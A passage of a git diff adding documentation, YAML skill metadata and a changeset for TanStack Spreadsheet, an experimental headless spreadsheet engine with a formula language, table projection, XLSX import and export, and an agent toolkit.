diff --git a/.changeset/tanstack-spreadsheet.md b/.changeset/tanstack-spreadsheet.md
new file mode 100644
index 0000000000..1d16189a15
--- /dev/null
+++ b/.changeset/tanstack-spreadsheet.md
@@ -0,0 +1,12 @@
+---
+'@tanstack/spreadsheet-core': minor
+'@tanstack/spreadsheet-store': minor
+'@tanstack/spreadsheet-packs': minor
+'@tanstack/spreadsheet-xlsx': minor
+'@tanstack/spreadsheet-codemode': minor
+'@tanstack/spreadsheet-agent': minor
+'@tanstack/spreadsheet-table': minor
+'@tanstack/react-spreadsheet': minor
+---
+
+Add TanStack Spreadsheet (experimental): a headless, framework-agnostic spreadsheet engine — addressing, parser, dependency graph, and evaluator — that projects into TanStack Table v9. Includes the core workbook, a TanStack Store interop layer, async function packs, `.xlsx` import/export, on-the-fly Code Mode cell functions, an agent toolkit, the table adapter, and React bindings.
diff --git a/README.md b/README.md
index eb7ca70268..47023eea2b 100644
--- a/README.md
+++ b/README.md
@@ -65,6 +65,12 @@ A headless table library for building powerful datagrids with full control over
- Sorting, filtering, grouping, aggregation & row selection
- Lightweight, virtualizable & server‑side friendly
+> [!NOTE]
+> **TanStack Spreadsheet (experimental)** — a headless, framework-agnostic
+> spreadsheet engine (parser, dependency graph, evaluator) that projects into
+> TanStack Table. See the
+> [Spreadsheet docs](https://tanstack.com/table/latest/docs/spreadsheet/overview).
+
### Read the Docs →
## Using an AI Coding Agent?
diff --git a/_artifacts/domain_map.yaml b/_artifacts/domain_map.yaml
index 88c55cb357..5c17d9eb20 100644
--- a/_artifacts/domain_map.yaml
+++ b/_artifacts/domain_map.yaml
@@ -2625,6 +2625,115 @@ skills:
thresholds, accessors, bounds, and diacritic handling. Routes TanStack
Table filterMeta wiring to filtering skills.
requires: []
+ - slug: core
+ package: '@tanstack/spreadsheet-core'
+ domain: spreadsheet
+ type: core
+ purpose:
+ Establish the headless workbook kernel, the input-patch commit pipeline,
+ errors and pending as first-class cell values, region subscriptions, and
+ the opt-in capability model.
+ sources:
+ - TanStack/table:packages/spreadsheet-core/src/index.ts
+ - TanStack/table:packages/spreadsheet-core/src/types.ts
+ - TanStack/table:packages/spreadsheet-core/src/workbook.ts
+ - TanStack/table:packages/spreadsheet-core/src/kernel.ts
+ - TanStack/table:packages/spreadsheet-core/src/construct.ts
+ - TanStack/table:packages/spreadsheet-core/src/capability.ts
+ - TanStack/table:packages/spreadsheet-core/src/eval.ts
+ - TanStack/table:packages/spreadsheet-core/src/capabilities/index.ts
+ failure_modes:
+ - Treating an error or pending result as an exception or null instead of
+ narrowing the CellValue with isErr, isPending, or isBlocking.
+ - Mutating cells directly or storing computed values in patches rather
+ than committing input strings through setInput and applyPatches.
+ - Reaching for every capability by default instead of constructing a
+ lean workbook with only the capabilities the task needs.
+ description:
+ Use the TanStack Spreadsheet workbook kernel and capability model. Route
+ cell input, patches, computed reads, errors and pending as values, region
+ subscriptions, and opt-in capabilities. Load before the react, table-v9,
+ or xlsx spreadsheet skills.
+ requires: []
+ - slug: core
+ package: '@tanstack/react-spreadsheet'
+ domain: spreadsheet
+ type: framework
+ framework: react
+ purpose: Drive a workbook from React with owned or provided instances,
+ revision-tracked cell and region reads, and the /table grid entry.
+ sources:
+ - TanStack/table:packages/react-spreadsheet/src/index.ts
+ - TanStack/table:packages/react-spreadsheet/src/hooks.ts
+ - TanStack/table:packages/react-spreadsheet/src/table.ts
+ - TanStack/table:packages/react-spreadsheet/src/useSpreadsheetTable.ts
+ failure_modes:
+ - Rendering a raw CellValue that may be an error or pending object into
+ JSX instead of narrowing and formatting it first.
+ - Expecting later useSpreadsheet option changes to rebuild the workbook
+ when construction is frozen on first render.
+ - Importing the /table grid hook into cell-only views and pulling in the
+ table-v9 projection unnecessarily.
+ description:
+ Drive a TanStack Spreadsheet workbook from React. Route owned vs. provided
+ workbooks, revision-tracked cell and region reads, and the /table grid
+ entry. Use spreadsheet-core for the kernel and value model.
+ requires:
+ - '@tanstack/spreadsheet-core#core'
+ - slug: core
+ package: '@tanstack/spreadsheet-table'
+ domain: spreadsheet
+ type: framework
+ purpose:
+ Project a workbook sheet window onto a TanStack Table v9 instance with
+ createSpreadsheetTable, the registered feature set, and the selection,
+ fill, clipboard, and merge verbs.
+ sources:
+ - TanStack/table:packages/spreadsheet-table/src/index.ts
+ - TanStack/table:packages/spreadsheet-table/src/controller.ts
+ - TanStack/table:packages/spreadsheet-table/src/features.ts
+ - TanStack/table:packages/spreadsheet-table/src/projection.ts
+ - TanStack/table:packages/spreadsheet-table/src/types.ts
+ failure_modes:
+ - Mutating the projected rows instead of editing through the verbs or the
+ workbook, which is the single source of truth.
+ - Forgetting to call destroy and leaking the workbook revision
+ subscription when the table is discarded.
+ - Treating the result as a plain object rather than a v9 Table whose
+ standard row-model APIs coexist with the spreadsheet verbs.
+ description:
+ Project a TanStack Spreadsheet workbook onto a TanStack Table v9 instance
+ with createSpreadsheetTable. Route the registered features, the
+ sheet-to-rows/columns projection, and the spreadsheet verbs. Use
+ spreadsheet-core for the kernel.
+ requires:
+ - '@tanstack/spreadsheet-core#core'
+ - slug: core
+ package: '@tanstack/spreadsheet-xlsx'
+ domain: spreadsheet
+ type: integration
+ purpose:
+ Round-trip .xlsx bytes through a workbook with importXlsx and exportXlsx,
+ surfacing the structured issues model and the fixed dropped-feature list.
+ sources:
+ - TanStack/table:packages/spreadsheet-xlsx/src/index.ts
+ - TanStack/table:packages/spreadsheet-xlsx/src/importer.ts
+ - TanStack/table:packages/spreadsheet-xlsx/src/exporter.ts
+ - TanStack/table:packages/spreadsheet-xlsx/src/drops.ts
+ failure_modes:
+ - Assuming a clean import instead of reading ImportResult.issues and
+ summary.byKind for degraded cells and dropped features.
+ - Expecting an unsupported formula to throw rather than keeping its cached
+ value and recording an issue.
+ - Exporting without warning users via DROPPED_FEATURES or
+ DROPPED_FEATURES_SENTENCE about features that cannot cross over.
+ description:
+ Round-trip .xlsx bytes through a TanStack Spreadsheet workbook with
+ importXlsx and exportXlsx. Route the issues/degradation model and the
+ fixed dropped-feature list. Use spreadsheet-core for the workbook and
+ value model.
+ requires:
+ - '@tanstack/spreadsheet-core#core'
cross_references:
- from: core
diff --git a/_artifacts/skill_tree.yaml b/_artifacts/skill_tree.yaml
index 0588b272ee..679997548c 100644
--- a/_artifacts/skill_tree.yaml
+++ b/_artifacts/skill_tree.yaml
@@ -925,3 +925,77 @@ skills:
- TanStack/table:packages/match-sorter-utils/src/index.ts
- TanStack/table:docs/framework/react/guide/fuzzy-filtering.md
- TanStack/table:examples/react/filters-fuzzy
+ - name: Spreadsheet Core
+ slug: core
+ type: core
+ domain: spreadsheet
+ path: packages/spreadsheet-core/skills/core/SKILL.md
+ package: packages/spreadsheet-core
+ description:
+ Use the TanStack Spreadsheet workbook kernel and capability model. Route
+ cell input, patches, computed reads, errors and pending as values, region
+ subscriptions, and opt-in capabilities. Load before the react, table-v9,
+ or xlsx spreadsheet skills.
+ sources:
+ - TanStack/table:packages/spreadsheet-core/src/index.ts
+ - TanStack/table:packages/spreadsheet-core/src/types.ts
+ - TanStack/table:packages/spreadsheet-core/src/workbook.ts
+ - TanStack/table:packages/spreadsheet-core/src/kernel.ts
+ - TanStack/table:packages/spreadsheet-core/src/construct.ts
+ - TanStack/table:packages/spreadsheet-core/src/capability.ts
+ - TanStack/table:packages/spreadsheet-core/src/eval.ts
+ - TanStack/table:packages/spreadsheet-core/src/capabilities/index.ts
+ - name: React Spreadsheet Core
+ slug: core
+ type: framework
+ domain: spreadsheet
+ path: packages/react-spreadsheet/skills/core/SKILL.md
+ package: packages/react-spreadsheet
+ description:
+ Drive a TanStack Spreadsheet workbook from React. Route owned vs. provided
+ workbooks, revision-tracked cell and region reads, and the /table grid
+ entry. Use spreadsheet-core for the kernel and value model.
+ requires:
+ - '@tanstack/spreadsheet-core#core'
+ sources:
+ - TanStack/table:packages/react-spreadsheet/src/index.ts
+ - TanStack/table:packages/react-spreadsheet/src/hooks.ts
+ - TanStack/table:packages/react-spreadsheet/src/table.ts
+ - TanStack/table:packages/react-spreadsheet/src/useSpreadsheetTable.ts
+ - name: Spreadsheet Table
+ slug: core
+ type: framework
+ domain: spreadsheet
+ path: packages/spreadsheet-table/skills/core/SKILL.md
+ package: packages/spreadsheet-table
+ description:
+ Project a TanStack Spreadsheet workbook onto a TanStack Table v9 instance
+ with createSpreadsheetTable. Route the registered features, the
+ sheet-to-rows/columns projection, and the spreadsheet verbs. Use
+ spreadsheet-core for the kernel.
+ requires:
+ - '@tanstack/spreadsheet-core#core'
+ sources:
+ - TanStack/table:packages/spreadsheet-table/src/index.ts
+ - TanStack/table:packages/spreadsheet-table/src/controller.ts
+ - TanStack/table:packages/spreadsheet-table/src/features.ts
+ - TanStack/table:packages/spreadsheet-table/src/projection.ts
+ - TanStack/table:packages/spreadsheet-table/src/types.ts
+ - name: Spreadsheet XLSX
+ slug: core
+ type: integration
+ domain: spreadsheet
+ path: packages/spreadsheet-xlsx/skills/core/SKILL.md
+ package: packages/spreadsheet-xlsx
+ description:
+ Round-trip .xlsx bytes through a TanStack Spreadsheet workbook with
+ importXlsx and exportXlsx. Route the issues/degradation model and the
+ fixed dropped-feature list. Use spreadsheet-core for the workbook and
+ value model.
+ requires:
+ - '@tanstack/spreadsheet-core#core'
+ sources:
+ - TanStack/table:packages/spreadsheet-xlsx/src/index.ts
+ - TanStack/table:packages/spreadsheet-xlsx/src/importer.ts
+ - TanStack/table:packages/spreadsheet-xlsx/src/exporter.ts
+ - TanStack/table:packages/spreadsheet-xlsx/src/drops.ts
diff --git a/docs/config.json b/docs/config.json
index 2625aaeae7..0d4b66d1f3 100644
--- a/docs/config.json
+++ b/docs/config.json
@@ -1631,6 +1631,28 @@
]
}
]
+ },
+ {
+ "label": "TanStack Spreadsheet (Experimental)",
+ "children": [
+ { "label": "Overview", "to": "spreadsheet/overview" },
+ { "label": "Quick Start", "to": "spreadsheet/quick-start" },
+ { "label": "Installation", "to": "spreadsheet/installation" },
+ { "label": "Formula Language", "to": "spreadsheet/formula-language" },
+ { "label": "Workbook API", "to": "spreadsheet/workbook-api" },
+ {
+ "label": "Functions, Packs & the Registry",
+ "to": "spreadsheet/registry-and-packs"
+ },
+ {
+ "label": "Projecting into TanStack Table",
+ "to": "spreadsheet/projection-guide"
+ },
+ { "label": "React Bindings", "to": "spreadsheet/react-guide" },
+ { "label": "XLSX Fidelity", "to": "spreadsheet/xlsx-fidelity" },
+ { "label": "TanStack Store", "to": "spreadsheet/store-guide" },
+ { "label": "The Agent Surface", "to": "spreadsheet/agent-guide" }
+ ]
}
]
}
diff --git a/docs/spreadsheet/agent-guide.md b/docs/spreadsheet/agent-guide.md
new file mode 100644
index 0000000000..b126071c54
--- /dev/null
+++ b/docs/spreadsheet/agent-guide.md
@@ -0,0 +1,80 @@
+---
+title: The Agent Surface
+---
+
+`@tanstack/spreadsheet-agent` is the one tool surface an agent calls against a
+workbook. It is A1-addressed, reads the real dependency graph (no formula
+re-parsing), returns plain data, and composes into any agent framework. There is
+no second, library-shaped toolkit — this is the single door.
+
+Above: the demo's `/agent` route. Claude writes a **Code Mode** program (TypeScript
+run in a QuickJS-WASM sandbox in the browser) that calls this very tool surface —
+`set_cells`, `read_sheet`, `verify` — to build and check the sheet. The model
+completion runs server-side, so the API key never reaches the browser; the
+generated code runs sandboxed in it.
+
+## The tools
+
+```ts
+import {
+ setCells,
+ readSheet,
+ explain,
+ listErrors,
+ listPending,
+ listFunctions,
+ verify,
+} from '@tanstack/spreadsheet-agent'
+
+setCells(wb, [
+ { a1: 'A1', input: '10' },
+ { a1: 'A2', input: '=A1*2' },
+]) // one batched transaction → one recalc
+
+readSheet(wb, 's1') // [{ a1, input, value, kind }, …]
+explain(wb, 'A2') // { value, input, precedents, precedentRanges, dependents } — all A1
+listErrors(wb) // [{ a1, code }]
+listPending(wb) // ['B3', …]
+listFunctions(wb) // the function catalog (with origin + callSites)
+```
+
+`explain` reads `workbook.precedentsOf` / `dependentsOf` directly — it does not
+re-parse formulas, and it follows the graph the engine actually computes on.
+
+## Verify composition
+
+`verify` is a **pure** function: it takes the (already settled) workbook plus
+the caller's checks and returns a list of [`Issue`](./xlsx-fidelity.md)s — the
+same shared type XLSX import produces. Sequencing is the caller's ordinary async
+code, shown explicitly:
+
+```ts
+build(wb) // your edits, e.g. setCells(...)
+await wb.settle() // let async cells resolve
+const issues = verify(wb, {
+ sheet: 's1',
+ checks: [{ label: 'total is 30', ok: total(wb) === 30 }],
+})
+if (issues.length) {
+ /* failing checks + unexpected error cells, each with a message (and ref) */
+}
+```
+
+There is no `buildAndVerify` hybrid: `verify` verifies, `settle` settles, and
+your code composes them.
+
+## Framework tool definitions
+
+`spreadsheetTools(wb)` returns framework-agnostic specs
+(`{ name, description, parameters, execute }`) you map onto your framework's tool
+definition — e.g. TanStack AI's `toolDefinition`. The demo's `/agent` route
+dogfoods exactly this surface: its `set_cells` / `read_sheet` / `verify` tool
+bodies call these functions rather than re-implementing workbook access.
+
+## With Code Mode
+
+Authoring a Code Mode function (`@tanstack/spreadsheet-codemode`:
+`stageFunction` → `approveAndRegister`) and calling the agent tools fit together:
+the agent builds the sheet with `setCells`, authors a function (staged + example
+-gated), a human approves registration, and `verify` confirms the result before
+a diff is shown. Code Mode is authoring; the agent surface is read/edit/verify.
diff --git a/docs/spreadsheet/formula-language.md b/docs/spreadsheet/formula-language.md
new file mode 100644
index 0000000000..f55a1f9377
--- /dev/null
+++ b/docs/spreadsheet/formula-language.md
@@ -0,0 +1,195 @@
+---
+title: Formula Language Reference
+---
+
+The engine speaks an Excel-compatible formula language. Excel is the reference
+spec: where this page and Excel disagree, that is a bug unless it appears under
+[Documented non-goals](#documented-non-goals). A formula is any cell input that
+begins with `=`; everything else is a literal (see [Value coercion](#value-coercion)).
+
+## Operators and precedence
+
+Binding power, tightest last. The ordering encodes Excel's quirks exactly — the
+golden-file suite is what pins them.
+
+| Group | Operators | Notes |
+| -------------- | -------------------------- | ----------------------------------------------------------------------------- |
+| Comparison | `=` `<>` `<` `<=` `>` `>=` | Loosest. Numeric when both sides read as numbers, else case-insensitive text. |
+| Concatenation | `&` | Sits between arithmetic and comparison. |
+| Additive | `+` `-` | |
+| Multiplicative | `*` `/` | `/` by zero → `#DIV/0!`. |
+| Exponent | `^` | **Left**-associative: `2^3^2 = 64`, not 512. |
+| Percent | `%` (postfix) | Tighter than `^`: `50%` = 0.5. |
+| Unary | `-` `+` (prefix) | **Tighter than `^`**: `-2^2 = 4`, not −4. |
+| Range | `:` | Tightest. Builds a range from two endpoints. |
+
+Parentheses override precedence as usual. These are the two quirks most engines
+get wrong, and both are deliberate here: unary minus binds tighter than `^`, and
+`^` is left-associative.
+
+## References and ranges
+
+- **Cell** — `A1`, `$A$1`, `B$2`. A `$` anchors that axis against fill/paste
+ translation.
+- **Range** — `A1:B10`. Whole column `A:A`, whole row `1:1`.
+- **Cross-sheet** — `Sheet2!A1`, `'My Sheet'!A1:B2` (quote a sheet name that is
+ not a bare identifier). A single sheet qualifier distributes across a range:
+ both endpoints of `Sheet2!A1:B2` live on `Sheet2`.
+- **3D range** — `Jan!A1:Dec!A1` names the same block on **every sheet from
+ `Jan` through `Dec` inclusive, in workbook sheet order**. Sheet order is
+ load-bearing data: the dependency graph and aggregates iterate the span, so
+ moving or reordering sheets changes the result, and a cell changing on any
+ sheet in the span recalculates the formula. Serialization round-trips both
+ endpoint sheets.
+
+## Defined names
+
+A name binds to a range, a constant, or a formula, and is a first-class
+precedent: a formula that reads a name recalculates when the name's target
+changes, and serialization round-trips the name verbatim (never its expansion).
+
+```ts
+wb.defineName('Rate', '0.2') // a constant
+wb.defineName('Prices', 'Sheet1!B2:B50') // a range
+wb.defineName('Tax', '=Subtotal*Rate') // a formula
+wb.defineName('Local', 'A1', { scope: 's1' }) // sheet-scoped
+
+wb.listNames() // discover — the agent-facing catalog surface
+wb.getName('Rate') // { name, scope?, definition }
+wb.removeName('Rate') // dependents re-evaluate (to #NAME? if now undefined)
+```
+
+- **Scope** — a name is workbook-scoped by default, or sheet-scoped via
+ `{ scope }`. A bare reference (`=Rate`) resolves against the owning sheet's
+ scope first, then the workbook; a qualified reference (`=Budget!Total`)
+ targets that sheet's scope, then the workbook.
+- **Rules (enforced; violations throw with a message)** — a name may not
+ collide with a cell reference (`A1`), a sheet name, or a function name; must
+ be a valid identifier (letter/underscore first); may not be `TRUE`/`FALSE`;
+ and may not be cyclic.
+- An **undefined** name evaluates to `#NAME?`, exactly like an unknown function.
+
+## Value coercion
+
+Literal cell input is coerced on entry (no `=`):
+
+| Input | Becomes |
+| ------------------ | ------------------------------------------------------------------------- |
+| `` (empty) | `null` (blank — a value state, not an error) |
+| `TRUE` / `FALSE` | boolean |
+| `2020-01-01` | a **date serial** (Excel epoch 1899-12-30); an impossible date stays text |
+| `42`, `1.5`, `2e3` | number |
+| `'123` | the text `123` (leading apostrophe forces text) |
+| anything else | text |
+
+Inside formulas, coercion is contextual and errors/`pending` propagate through
+every operator:
+
+- **To number** — booleans are 1/0, blank is 0, numeric text parses, other text
+ → `#VALUE!`.
+- **To text** — numbers stringify, booleans are `TRUE`/`FALSE`, blank is `""`.
+- **To boolean** — numbers are nonzero, `"TRUE"`/`"FALSE"` parse, blank/`""` is
+ false, other text → `#VALUE!`.
+
+Dates are serial numbers; display formatting is the adapter/format layer's job
+(`setFormat`, `TEXT`).
+
+## Criteria and wildcards
+
+`SUMIF`, `COUNTIF`, and the `*IFS` family take criteria like `">10"`, `"<>0"`,
+`"Gadgets"`. On `=`/`<>` text matches, Excel wildcards apply:
+
+- `*` — any run of characters (`"Gadget*"` matches `Gadgetry`)
+- `?` — any single character (`"?adget"` matches `Gadget`)
+- `~` — escapes a literal `*`, `?`, or `~` (`"a~*b"` matches only `a*b`)
+
+## Error codes
+
+Errors are values. Distinct failure kinds get distinct codes (no `#N/A`
+costumes); an error value may carry a human-readable `detail`.
+
+| Code | Meaning |
+| ----------- | ------------------------------------------------------------------- |
+| `#DIV/0!` | Division by zero. |
+| `#VALUE!` | A value could not be coerced to the type an operation needs. |
+| `#REF!` | A reference points off-sheet (e.g. translated out of bounds). |
+| `#NAME?` | Unknown function or undefined name. |
+| `#N/A` | A lookup found no match. |
+| `#NUM!` | A numeric result is not finite/representable. |
+| `#NULL!` | (reserved) |
+| `#ERR!` | A formula failed to **parse**. `detail` carries the parser message. |
+| `#CIRCULAR` | The cell participates in a dependency cycle. |
+
+## Built-in functions
+
+46 built-ins, registered into every workbook. Each row is generated from the
+same descriptor that drives validation and the agent catalog
+(`workbook.functionCatalog()`); `…` in the arity column means variadic.
+
+| Signature | Args | Returns | Description |
+| ------------------------------------------------------ | ---- | ------- | ---------------------------------------------------------------------------------- |
+| `ABS(number)` | 1–1 | number | Absolute value of a number. |
+| `AGGREGATE(functionCode, options, range1)` | 3–… | number | Aggregate with options to ignore hidden rows and/or errors. |
+| `AND(logical1)` | 1–… | boolean | TRUE if every argument is TRUE. |
+| `AVERAGE(number1, number2?)` | 1–… | number | Arithmetic mean of the numeric values. |
+| `AVERAGEIF(range, criterion, averageRange?)` | 2–3 | number | Average the cells that meet a single criterion. |
+| `AVERAGEIFS(averageRange, criteriaRange1, criterion1)` | 3–… | number | Average the cells that meet multiple criteria. |
+| `CONCAT(text1)` | 1–… | string | Join text values into one string. |
+| `CONCATENATE(text1)` | 1–… | string | Join text values into one string (legacy alias of CONCAT). |
+| `COUNT(number1, number2?)` | 1–… | number | Count of numeric values. |
+| `COUNTA(number1, number2?)` | 1–… | number | Count of non-blank values. |
+| `COUNTIF(range, criterion)` | 2–2 | number | Count the cells that meet a single criterion. |
+| `COUNTIFS(criteriaRange1, criterion1)` | 2–… | number | Count the cells that meet multiple criteria. |
+| `DATE(year, month, day)` | 3–3 | date | Date serial from year, month, and day (overflow rolls over). |
+| `DAY(date)` | 1–1 | number | Day of the month (1–31) of a date serial. |
+| `IF(condition, ifTrue, ifFalse?)` | 2–3 | any | Return one value if a condition is true, another if false. |
+| `IFERROR(value, fallback)` | 2–2 | any | Return a fallback value when the first argument is an error. |
+| `IFPENDING(value, fallback)` | 2–2 | any | Return a fallback while an async value is still pending. |
+| `INDEX(range, row, column?)` | 2–3 | any | Value at a given row/column position within a range. |
+| `ISRESOLVED(value)` | 1–1 | boolean | TRUE once an async value has arrived (not pending). |
+| `LEFT(text, count?)` | 1–2 | string | Leftmost characters of a text string. |
+| `LEN(text)` | 1–1 | number | Number of characters in a text string. |
+| `LOWER(text)` | 1–1 | string | Convert text to lower case. |
+| `MATCH(key, range, matchType?)` | 2–3 | number | Position of a value within a one-row or one-column range. |
+| `MAX(number1, number2?)` | 1–… | number | Largest numeric value. |
+| `MAXIFS(maxRange, criteriaRange1, criterion1)` | 3–… | number | Largest value among cells that meet multiple criteria. |
+| `MID(text, start, count)` | 3–3 | string | Characters from the middle of a text string. |
+| `MIN(number1, number2?)` | 1–… | number | Smallest numeric value. |
+| `MINIFS(minRange, criteriaRange1, criterion1)` | 3–… | number | Smallest value among cells that meet multiple criteria. |
+| `MONTH(date)` | 1–1 | number | Month (1–12) of a date serial. |
+| `NOT(logical)` | 1–1 | boolean | Reverse the logical value of its argument. |
+| `NOW()` | 0–0 | date | Current date and time as a serial number (volatile). |
+| `OR(logical1)` | 1–… | boolean | TRUE if any argument is TRUE. |
+| `RIGHT(text, count?)` | 1–2 | string | Rightmost characters of a text string. |
+| `ROUND(number, digits)` | 2–2 | number | Round a number to a given number of digits. |
+| `ROUNDDOWN(number, digits)` | 2–2 | number | Round a number toward zero to a given number of digits. |
+| `ROUNDUP(number, digits)` | 2–2 | number | Round a number away from zero to a given number of digits. |
+| `SUBTOTAL(functionCode, range1)` | 2–… | number | Aggregate (SUM/AVERAGE/…) honouring row visibility. |
+| `SUM(number1, number2?)` | 1–… | number | Add all numbers in the arguments or ranges. |
+| `SUMIF(range, criterion, sumRange?)` | 2–3 | number | Sum the cells that meet a single criterion. |
+| `SUMIFS(sumRange, criteriaRange1, criterion1)` | 3–… | number | Sum the cells that meet multiple criteria. |
+| `TEXT(value, formatCode)` | 2–2 | string | Format a value as text using a number-format code. |
+| `TODAY()` | 0–0 | date | Today's date as a serial number (volatile). |
+| `TRIM(text)` | 1–1 | string | Remove extra whitespace from text. |
+| `UPPER(text)` | 1–1 | string | Convert text to upper case. |
+| `VLOOKUP(key, range, colIndex, approximate?)` | 3–4 | any | Look up a value in the first column of a range and return a value in the same row. |
+| `YEAR(date)` | 1–1 | number | Year of a date serial. |
+
+Custom and async functions register into the same catalog — see the
+[Workbook API](./workbook-api.md).
+
+## Documented non-goals
+
+Deliberate divergences from Excel, recorded so they are not mistaken for bugs:
+
+- **Spill / dynamic arrays** — a formula returns one scalar; array spilling is
+ not modelled.
+- **Space intersection operator** — whitespace is insignificant; the implicit
+ range-intersection operator is not supported.
+- **Array constants** — `{1,2;3,4}` literals are not parsed.
+- **R1C1 notation** — addressing is A1-only.
+- **External-workbook references** — `[Book.xlsx]Sheet!A1` is not supported.
+- **`LAMBDA` and `LET`** — user-defined inline functions/bindings are not
+ parsed; use [defined names](#defined-names) and workbook-defined functions.
+- **STDEV/VAR in SUBTOTAL/AGGREGATE** — function codes outside the
+ SUM/AVERAGE/COUNT/MIN/MAX/PRODUCT set return `#VALUE!`.
diff --git a/docs/spreadsheet/installation.md b/docs/spreadsheet/installation.md
new file mode 100644
index 0000000000..3378a158fb
--- /dev/null
+++ b/docs/spreadsheet/installation.md
@@ -0,0 +1,47 @@
+---
+title: Installation
+---
+
+> **Experimental.** The spreadsheet packages ship alongside TanStack Table and
+> share its version line, but the API is still settling — expect changes between
+> minor releases.
+
+## The packages
+
+Start with `@tanstack/spreadsheet-core`; add the others only as you need them.
+
+```bash
+npm install @tanstack/spreadsheet-core
+```
+
+| Package | Install it when you need… |
+| -------------------------------- | ------------------------------------------------------------------------------------ |
+| `@tanstack/spreadsheet-core` | The engine itself — addressing, parser, dependency graph, evaluator. Always. |
+| `@tanstack/spreadsheet-table` | To project a sheet into a TanStack Table **v9** grid, with the `spreadsheetFeature`. |
+| `@tanstack/react-spreadsheet` | React bindings (hooks) over workbook subscriptions. |
+| `@tanstack/spreadsheet-xlsx` | To import/export `.xlsx` workbooks (values + formulas). |
+| `@tanstack/spreadsheet-packs` | Async function packs: a mock decision model and a REST data pack. |
+| `@tanstack/spreadsheet-store` | TanStack Store interop: cell/range facades, virtual sheets, Tier-1 staging. |
+| `@tanstack/spreadsheet-codemode` | Code Mode cell functions authored on the fly, plus an AI read/build toolkit. |
+| `@tanstack/spreadsheet-agent` | A framework-agnostic agent toolkit (read/write/explain/verify) over a workbook. |
+
+The React bindings also need their peers:
+
+```bash
+npm install @tanstack/react-spreadsheet @tanstack/table-core react react-dom
+```
+
+## Build from source
+
+The packages live in the TanStack Table monorepo.
+
+```bash
+git clone https://github.com/TanStack/table.git
+cd table
+pnpm install
+pnpm build # builds all packages (ESM + .d.ts via tsdown)
+```
+
+See [Quick Start](./quick-start.md) for first usage, and the repository's
+[Contributing guide](https://github.com/TanStack/table/blob/main/CONTRIBUTING.md)
+for the full development loop.
diff --git a/docs/spreadsheet/overview.md b/docs/spreadsheet/overview.md
new file mode 100644
index 0000000000..6176f33974
--- /dev/null
+++ b/docs/spreadsheet/overview.md
@@ -0,0 +1,54 @@
+---
+title: Overview
+---
+
+TanStack Spreadsheet is a headless, framework-agnostic spreadsheet engine — a
+dependency-graph compute core with TanStack Table display/editing on top — that
+can serve as an application's state manager. It adds a plugin function registry;
+asynchronous cell equations for decision models and live data, resolved through
+a cached, graph-aware scheduler; Code Mode functions authored on the fly and
+stored in the workbook as Snippets; bidirectional TanStack Store interop; and AI
+that reads, explains, builds, and generates UI over the workbook — all proven by
+a fluid-budgeting demo in which every number on screen can be flipped over and
+read as an equation.
+
+> **Status: unreleased.** Every package is `0.0.0` and `private`; nothing is
+> published to npm yet. See [Installation](./installation.md) for clone-and-build
+> instructions.
+
+## Two roles in one dependency
+
+TanStack Spreadsheet plays two roles at once, and they are the same object seen
+from two sides:
+
+- **A headless spreadsheet control** — the interaction layer (selection, formula
+ bar, fill, clipboard, merges) projected onto the TanStack Table v9 adapter, with
+ React bindings. You render; it computes.
+- **A reactive state manager** — the workbook _is_ your application state. Mutate
+ through patches, subscribe to regions, read settled values — no UI required.
+ Every value is backed by an equation you can read back.
+
+Because the core depends only on `@tanstack/store`, the state-manager role runs
+anywhere JavaScript runs, and the control is just its first consumer.
+
+## How it layers
+
+- The **compute core** (`@tanstack/spreadsheet-core`) is the whole model:
+ addressing, parser, dependency graph, and evaluator. Its only dependency is
+ `@tanstack/store`, so it runs in Node, a worker, or a serverless function.
+- **Display and editing** sit on top as adapters — the TanStack Table v9
+ projection and the React bindings — none of which the core depends on.
+- Because the core has no UI dependency, the **workbook is usable on its own as
+ a reactive state manager**: mutate through patches, subscribe to regions, and
+ read settled values. A grid is one consumer of that model, not a requirement.
+
+A spreadsheet is not a table: a table is row-oriented with columns as schema,
+while a sheet is a sparse 2D cell store with its own address space and ordering
+independent of how it is displayed. The core owns addressing; TanStack Table is
+a consumer of it.
+
+## Where to go next
+
+- [Quick Start](./quick-start.md) — build and read a workbook in a few lines.
+- [Installation](./installation.md) — the packages and how to build them today.
+- [Workbook API](./workbook-api.md) — the full `Workbook` surface.
diff --git a/docs/spreadsheet/projection-guide.md b/docs/spreadsheet/projection-guide.md
new file mode 100644
index 0000000000..ce2bb0ba11
--- /dev/null
+++ b/docs/spreadsheet/projection-guide.md
@@ -0,0 +1,76 @@
+---
+title: Projecting a Sheet into TanStack Table
+---
+
+`@tanstack/spreadsheet-table` projects a workbook sheet into a **TanStack
+Table v9** grid. v9 is the only adapter — there is no v8. The projection is thin
+on purpose: the workbook stays the source of truth, and the table is a view.
+
+The demo's `/grid` route is this projection in action — selection, the formula
+bar, fill, and clipboard all flow through the table instance while React only
+renders. The `runFormula(…)` panel at the bottom evaluates against the same model
+with no cell written, showing the workbook as a headless data engine.
+
+## Rows are pointers into sheet address space
+
+A projected row is not a copy of cell data — it is a pointer to a sheet row.
+Column accessors read the **computed** value live from the workbook:
+
+```ts
+accessorFn: (row) => workbook.getCell({ sheet, row: row.sheetRow, col })?.value
+```
+
+Two consequences fall out for free:
+
+- **Sort-by-computed** — sorting uses the accessor's computed value, so a column
+ of formulas sorts by result, not by formula text.
+- **Anchored A1 addressing** — a row carries its `sheetRow` (its address), stable
+ across sorts and windowing, so selection and fill map back to sheet
+ coordinates regardless of display order.
+
+## Building a table
+
+```ts
+import { createSpreadsheetTable } from '@tanstack/spreadsheet-table'
+
+const table = createSpreadsheetTable(workbook, {
+ sheet: 's1',
+ rows: { from: 0, to: 200 }, // the visible window
+ cols: { from: 0, to: 26 },
+})
+```
+
+The returned value is a standard v9 `Table` with the spreadsheet verbs attached,
+acting on the current selection / focused cell:
+
+```ts
+table.getFormulaBarValue()
+table.commitFocusedCell('=A1+B1')
+table.fillDown() // fillUp / fillRight / fillLeft
+table.copySelection() // → Clipboard
+table.pasteToSelection(clip)
+table.mergeSelection() // unmergeSelection, getMerges, getMergeAt
+table.getSelectionRect()
+```
+
+Merges are **read from the workbook** (`getMerges`), the single source of truth —
+no adapter-local copy. (`SharedState` is internal plumbing, not exported.)
+
+## Reactivity — the adapter subscribes to the workbook
+
+The adapter subscribes to the workbook itself and rebuilds its row model on every
+commit, so an **external edit** — another view, an agent tool, an async settle —
+appears in an open grid without calling one of the table's own verbs. The old
+manual `invalidate()` per verb is gone; `table.refresh()` is the same rebuild,
+exposed for the rare host-driven mutation, and `table.destroy()` detaches the
+subscription when the table is discarded.
+
+In React this is wired for you by `useSpreadsheetTable` (see the
